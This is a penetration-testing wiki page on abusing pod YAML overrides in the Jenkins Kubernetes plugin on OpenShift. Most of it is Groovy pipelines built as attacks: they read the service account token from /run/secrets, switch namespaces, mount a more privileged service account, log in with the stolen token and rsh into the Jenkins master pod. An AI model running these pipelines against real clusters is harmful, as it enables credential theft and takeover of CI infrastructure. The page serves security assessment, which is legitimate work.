# Jenkins in Openshift - build pod overrides

**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)

## Kubernetes plugin for Jenkins
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.

## Core functionnality

This plugin allows flexibility to developers when building their code in adequate environment.

```groovy
podTemplate(yaml: '''
    apiVersion: v1
    kind: Pod
    spec:
      containers:
      - name: maven
        image: maven:3.8.1-jdk-8
        command:
        - sleep
        args:
        - 99d
''') {
  node(POD_LABEL) {
    stage('Get a Maven project') {
      git 'https://github.com/jenkinsci/kubernetes-plugin.git'
      container('maven') {
        stage('Build a Maven project') {
          sh 'mvn -B -ntp clean install'
        }
      }
    }
  }
}
```

## Some abuses leveraging pod yaml override

It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
In the example below we can exfiltrate the serviceaccount token of the running pod.

```groovy
podTemplate(yaml: '''
    apiVersion: v1
    kind: Pod
    spec:
      containers:
      - name: kali
        image: myregistry/mykali_image:1.0
        command:
        - sleep
        args:
        - 1d
''') {
  node(POD_LABEL) {
    stage('Evil build') {
      container('kali') {
        stage('Extract openshift token') {
          sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
        }
      }
    }
  }
}
```

A different synthax to achieve the same goal.

```groovy
pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:  
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}
```

Sample to override the namespace of the pod
```groovy
pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                	metadata:
                		namespace: RANDOM-NAMESPACE
                    spec:  
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}
```

Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.

```groovy
pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:
                    	serviceAccount: MY_SERVICE_ACCOUNT
                        containers:
                        - name: kali-container
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}
```

The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.

## Going further

Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.

Ask yourself the following questions:

- Which service account is being used to deploy build pods?
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
- Can I further enumerate other build pods?
- From a compromised sa, can I execute commands on the master node/pod?
- Can I further enumerate the cluster to pivot elsewhere?
- Which SCC is applied?

You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).

### Possible privesc/pivoting scenarios

Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
Let's also assume that you have the oc command installed inside the running build container.

With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
```groovy
pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                    spec:
                    	serviceAccount: master-sa
                        containers:
                        - name: evil
                          image: random_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                    	sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
                        sh 'oc --token=$token whoami'
                    }
                }
            }
        }
    }
}
```
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
```bash
oc login --token=$token --server=https://apiserver.com:port
```


If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.

```bash
oc rsh pod_name -c container_name
```

In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)

```groovy
pipeline { 
    stages {
        stage('Process pipeline') {
            agent {
                kubernetes {
                yaml """
                	metadata:
                		namespace: jenkins-master
                    spec:
                    	serviceAccount: master-sa                 
                        containers:
                        - name: evil-build
                          image: myregistry/mykali_image:1.0
                          imagePullPolicy: IfNotPresent
                          command:
                          - sleep
                          args:
                          - 1d
                """
                }
            }
            stages {
                stage('Say hello') {
                    steps {
                        echo 'Hello from a docker container'
                        sh 'env'
                    }
                }
            }
        }
    }
}



